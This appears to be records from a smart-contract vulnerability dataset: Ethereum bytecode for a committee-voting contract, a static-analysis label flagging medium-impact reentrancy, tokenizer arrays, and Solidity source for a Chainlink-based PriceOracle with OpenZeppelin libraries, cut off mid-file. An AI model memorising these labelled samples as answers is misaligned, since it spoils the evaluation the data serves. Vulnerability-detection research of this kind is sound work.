260200160002060009054906101000a900460ff16601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160008282829054906101000a900460ff160192506101000a81548160ff021916908360ff1602179055503373ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f1c0045dbd33658dba10da53c375f974b81aba9d502d322a46856f0f010d74d8760405160405180910390a3600c60ff16601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a900460ff1660ff16106126e8576000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508073ffffffffffffffffffffffffffffffffffffffff166369e2f0fb836040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff168152602001915050600060405180830381600087803b15801561254957600080fd5b505af115801561255d573d6000803e3d6000fd5b505050506000601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160006101000a81548160ff021916908360ff16021790555060005b60078160ff1610156126a2576000601160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101600060028460ff166007811061262257fe5b0160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806001019150506125c0565b508173ffffffffffffffffffffffffffffffffffffffff167f85d0c0f2c159aaadf438ff0d5f04b4326363664ffcbcd95869ce3395498200f960405160405180910390a2505b50565b6000600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1660ff16116127b0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f43616c6c6572206973206e6f74206120636f6d6d6974746565206d656d62657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415612858576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260278152602001806144ec6027913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156128fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260188152602001807f496e76616c696420636f6e74726163742061646472657373000000000000000081525060200191505060405180910390fd5b6129048161444f565b612959576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180614513602a913960400191505060405180910390fd5b600e60008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615612a3c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806144a36023913960400191505060405180910390fd5b6001600e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16600e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160008282829054906101000a900460ff160192506101000a81548160ff021916908360ff1602179055503373ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f088abeff99330596db21e61d56f5fdc35b4b841e72077eb486cd4e893132509960405160405180910390a3601160ff16600e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a900460ff1660ff1610612e73576000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508073ffffffffffffffffffffffffffffffffffffffff1663c634b78e836040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff168152602001915050600060405180830381600087803b158015612cd457600080fd5b505af1158015612ce8573d6000803e3d6000fd5b505050506000600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160006101000a81548160ff021916908360ff16021790555060005b60078160ff161015612e2d576000600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101600060028460ff1660078110612dad57fe5b0160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080600101915050612d4b565b508173ffffffffffffffffffffffffffffffffffffffff167f56b388d3497b520f959caaaed934cdcea2d51e80346e2a3a688319f4fb2d514f60405160405180910390a2505b50565b60018160078110612e8657600080fd5b60209182820401919006915054906101000a900460ff1681565b6000600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1660ff1611612f65576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f43616c6c6572206973206e6f74206120636f6d6d6974746565206d656d62657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141561300d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260278152602001806144ec6027913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156130b0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260188152602001807f496e76616c696420636f6e74726163742061646472657373000000000000000081525060200191505060405180910390fd5b6130b98161444f565b61310e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180614513602a913960400191505060405180910390fd5b601060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156131f1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806144a36023913960400191505060405180910390fd5b6001601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160008282829054906101000a900460ff160192506101000a81548160ff021916908360ff1602179055503373ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fe0063d628f50b93b04c48fc3044580e9bee28c9370382e5a51a311394b13927860405160405180910390a3600c60ff16601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a900460ff1660ff1610613628576000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508073ffffffffffffffffffffffffffffffffffffffff16633dd1eb61836040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff168152602001915050600060405180830381600087803b15801561348957600080fd5b505af115801561349d573d6000803e3d6000fd5b505050506000601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160006101000a81548160ff021916908360ff16021790555060005b60078160ff1610156135e2576000601060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101600060028460ff166007811061356257fe5b0160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080600101915050613500565b508173ffffffffffffffffffffffffffffffffffffffff167f352a0d11d9d6bd476d8a6a318608a03cdc2f6184049e264e73e93964cc72a3a060405160405180910390a2505b50565b6000600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1660ff16116136f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f43616c6c6572206973206e6f74206120636f6d6d6974746565206d656d62657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415613793576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260188152602001807f496e76616c696420616464726573732070726f7669646564000000000000000081525060200191505060405180910390fd5b8173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415613818576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806145c16026913960400191505060405180910390fd5b6000600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1660ff16116138c0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602581526020018061456e6025913960400191505060405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1660ff1614613968576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603181526020018061453d6031913960400191505060405180910390fd5b8173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415613a0a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f596f752063616e277420766f746520666f7220796f757273656c66000000000081525060200191505060405180910390fd5b600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615613b2a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806144a36023913960400191505060405180910390fd5b6001600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160008282829054906101000a900460ff160192506101000a81548160ff021916908360ff1602179055503373ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f41173cc4443dd4a169dc906bce40712830acb3d813fe97ff422133d1bc99f0c460405160405180910390a4600c60ff16600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a900460ff1660ff1610614240576000600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1690506000600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908360ff16021790555080600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908360ff1602179055508160028260ff1660078110613f1357fe5b0160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908360ff16021790555060018160ff1660078110613fbb57fe5b602091828204019190069054906101000a900460ff16600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908360ff1602179055506000600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160006101000a81548160ff021916908360ff16021790555060005b60078160ff1610156141e3576000600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101600060028460ff166007811061416357fe5b0160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806001019150506140c4565b508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f88d617c4bdade8a6e248d0411c343025360926d9330ec503b99554dae47e7fad60405160405180910390a3505b5050565b61424c61449a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461430c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415614392576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806144c66026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008060007fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a47060001b9050833f915080821415801561449157506000801b8214155b92505050919050565b60003390509056fe596f75206861766520616c726561647920766f74656420696e207468697320706f6f6c4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373444341524520746f6b656e20636f6e74726163742061646472657373207761736e27742073657450726f76696465642061646472657373206973206e6f74206120636f6e74726163742061646472657373436f6d6d6974746565206d656d62657220776974682073756368206164647265737320616c7265616479206578697374734e6f20636f6d6d6974746565206d656d626572207769746820737563682061646472657373444341524520746f6b656e20636f6e7472616374206164647265737320697320616c7265616479207365747465644e65772061646472657373206973207468652073616d65206173206f6c642061646472657373a2646970667358221220fe85699321971f06b2e26aa572cef7e4a644bdc3ff56823195f35e310025907a64736f6c63430007040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2581, 2475, 2050, 2629, 10354, 3540, 19736, 2683, 19481, 2475, 2063, 2575, 16409, 19797, 2278, 2620, 2850, 2620, 2581, 2475, 2278, 2683, 2620, 2581, 2546, 2487, 2094, 17134, 10354, 10975, 8490, 2863, 5024, 3012, 1028, 1027, 1014, 1012, 1018, 1012, 2570, 1026, 1014, 1012, 1022, 1012, 1014, 1025, 3075, 4769, 1063, 3853, 2003, 8663, 6494, 6593, 1006, 4769, 4070, 1007, 4722, 3193, 5651, 1006, 22017, 2140, 1007, 1063, 27507, 16703, 3642, 14949, 2232, 1025, 27507, 16703, 4070, 14949, 2232, 1027, 1014, 2595, 2278, 2629, 2094, 18827, 16086, 15136, 2575, 2546, 2581, 21926, 2509, 2278, 2683, 22907, 2063, 2581, 18939, 2475, 16409, 2278, 19841, 2509, 2278, 2692, 2063, 29345, 2497, 26187, 2509, 3540, 2620, 19317, 2581, 2509, 2497, 2581, 29292, 4215, 17914, 19961, 2094, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,680
0x972a64d108e250df98dbeac8170678501f5ef181
pragma solidity 0.6.12; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "./interfaces/IdleToken.sol"; import "./interfaces/CERC20.sol"; import "./interfaces/Comptroller.sol"; import "./interfaces/ChainLinkOracle.sol"; contract PriceOracle is Ownable { using SafeMath for uint256; uint256 constant private ONE_18 = 10**18; address constant public WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; address constant public COMP = 0xc00e94Cb662C3520282E6f5717214004A7f26888; address constant public WBTC = 0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599; address constant public DAI = 0x6B175474E89094C44Da98b954EedeAC495271d0F; address constant public SUSD = 0x57Ab1ec28D129707052df4dF418D58a2D46d5f51; address constant public TUSD = 0x0000000000085d4780B73119b644AE5ecd22b376; address constant public USDC = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48; address constant public USDT = 0xdAC17F958D2ee523a2206206994597C13D831ec7; uint256 public blocksPerYear = 2371428; // -> blocks per year with ~13.3s block time // underlying -> chainlink feed see https://docs.chain.link/docs/reference-contracts mapping (address => address) public priceFeedsUSD; mapping (address => address) public priceFeedsETH; constructor() public { // USD feeds priceFeedsUSD[WETH] = 0x5f4eC3Df9cbd43714FE2740f5E3616155c5b8419; // WETH priceFeedsUSD[COMP] = 0xdbd020CAeF83eFd542f4De03e3cF0C28A4428bd5; // COMP priceFeedsUSD[WBTC] = 0xF4030086522a5bEEa4988F8cA5B36dbC97BeE88c; // wBTC priceFeedsUSD[DAI] = 0xAed0c38402a5d19df6E4c03F4E2DceD6e29c1ee9; // DAI // ETH feeds priceFeedsETH[WBTC] = 0xdeb288F737066589598e9214E782fa5A8eD689e8; // wBTC priceFeedsETH[DAI] = 0x773616E4d11A78F511299002da57A0a94577F1f4; // DAI priceFeedsETH[SUSD] = 0x8e0b7e6062272B5eF4524250bFFF8e5Bd3497757; // SUSD priceFeedsETH[TUSD] = 0x3886BA987236181D98F2401c507Fb8BeA7871dF2; // TUSD priceFeedsETH[USDC] = 0x986b5E1e1755e3C2440e960477f25201B0a8bbD4; // USDC priceFeedsETH[USDT] = 0xEe9F2375b4bdF6387aa8265dD4FB8F16512A1d46; // USDT } /// @notice get price in USD for an asset function getPriceUSD(address _asset) public view returns (uint256) { return _getPriceUSD(_asset); // 1e18 } /// @notice get price in ETH for an asset function getPriceETH(address _asset) public view returns (uint256) { return _getPriceETH(_asset); // 1e18 } /// @notice get price in a specific token for an asset function getPriceToken(address _asset, address _token) public view returns (uint256) { return _getPriceToken(_asset, _token); // 1e(_token.decimals()) } /// @notice get price for the underlying token of an idleToken function getUnderlyingPrice(address _idleToken) external view returns (uint256) { return getPriceUSD(IdleToken(_idleToken).token()); // 1e18 } /// @notice get COMP additional apr for a specific cToken market function getCompApr(address _cToken, address _token) external view returns (uint256) { CERC20 _ctoken = CERC20(_cToken); uint256 compSpeeds = Comptroller(_ctoken.comptroller()).compSpeeds(_cToken); uint256 cTokenNAV = _ctoken.exchangeRateStored().mul(IERC20(_cToken).totalSupply()).div(ONE_18); // how much costs 1COMP in token (1e(_token.decimals())) uint256 compUnderlyingPrice = getPriceToken(COMP, _token); // mul(100) needed to have a result in the format 4.4e18 return compSpeeds.mul(compUnderlyingPrice).mul(blocksPerYear).mul(100).div(cTokenNAV); } // #### internal function _getPriceUSD(address _asset) internal view returns (uint256 price) { if (priceFeedsUSD[_asset] != address(0)) { price = ChainLinkOracle(priceFeedsUSD[_asset]).latestAnswer().mul(10**10); // scale it to 1e18 } else if (priceFeedsETH[_asset] != address(0)) { price = ChainLinkOracle(priceFeedsETH[_asset]).latestAnswer(); price = price.mul(ChainLinkOracle(priceFeedsUSD[WETH]).latestAnswer().mul(10**10)).div(ONE_18); } } function _getPriceETH(address _asset) internal view returns (uint256 price) { if (priceFeedsETH[_asset] != address(0)) { price = ChainLinkOracle(priceFeedsETH[_asset]).latestAnswer(); } } function _getPriceToken(address _asset, address _token) internal view returns (uint256 price) { uint256 assetUSD = getPriceUSD(_asset); uint256 tokenUSD = getPriceUSD(_token); if (tokenUSD == 0) { return price; } return assetUSD.mul(10**(uint256(ERC20(_token).decimals()))).div(tokenUSD); // 1e(tokenDecimals) } // #### onlyOwner function setBlocksPerYear(uint256 _blocksPerYear) external onlyOwner { blocksPerYear = _blocksPerYear; } // _feed can be address(0) which means disabled function updateFeedETH(address _asset, address _feed) external onlyOwner { priceFeedsETH[_asset] = _feed; } function updateFeedUSD(address _asset, address _feed) external onlyOwner { priceFeedsUSD[_asset] = _feed; } } pragma solidity 0.6.12; interface CERC20 { function comptroller() external view returns (address); function exchangeRateStored() external view returns (uint256); } pragma solidity 0.6.12; interface ChainLinkOracle { function latestAnswer() external view returns (uint256); } pragma solidity 0.6.12; interface Comptroller { function claimComp(address) external; function compSpeeds(address _cToken) external view returns (uint256); function claimComp(address[] calldata holders, address[] calldata cTokens, bool borrowers, bool suppliers) external; } pragma solidity 0.6.12; interface IdleToken { function totalSupply() external view returns (uint256); function tokenPrice() external view returns (uint256 price); function token() external view returns (address); function getAvgAPR() external view returns (uint256 apr); function balanceOf(address) external view returns (uint256 apr); function getAPRs() external view returns (address[] memory addresses, uint256[] memory aprs); function mintIdleToken(uint256 _amount, bool _skipRebalance, address _referral) external returns (uint256 mintedTokens); function redeemIdleToken(uint256 _amount) external returns (uint256 redeemedTokens); function redeemInterestBearingTokens(uint256 _amount) external; function rebalance() external returns (bool); } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; import "../GSN/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; import "../../GSN/Context.sol"; import "./IERC20.sol"; import "../../math/SafeMath.sol"; import "../../utils/Address.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using 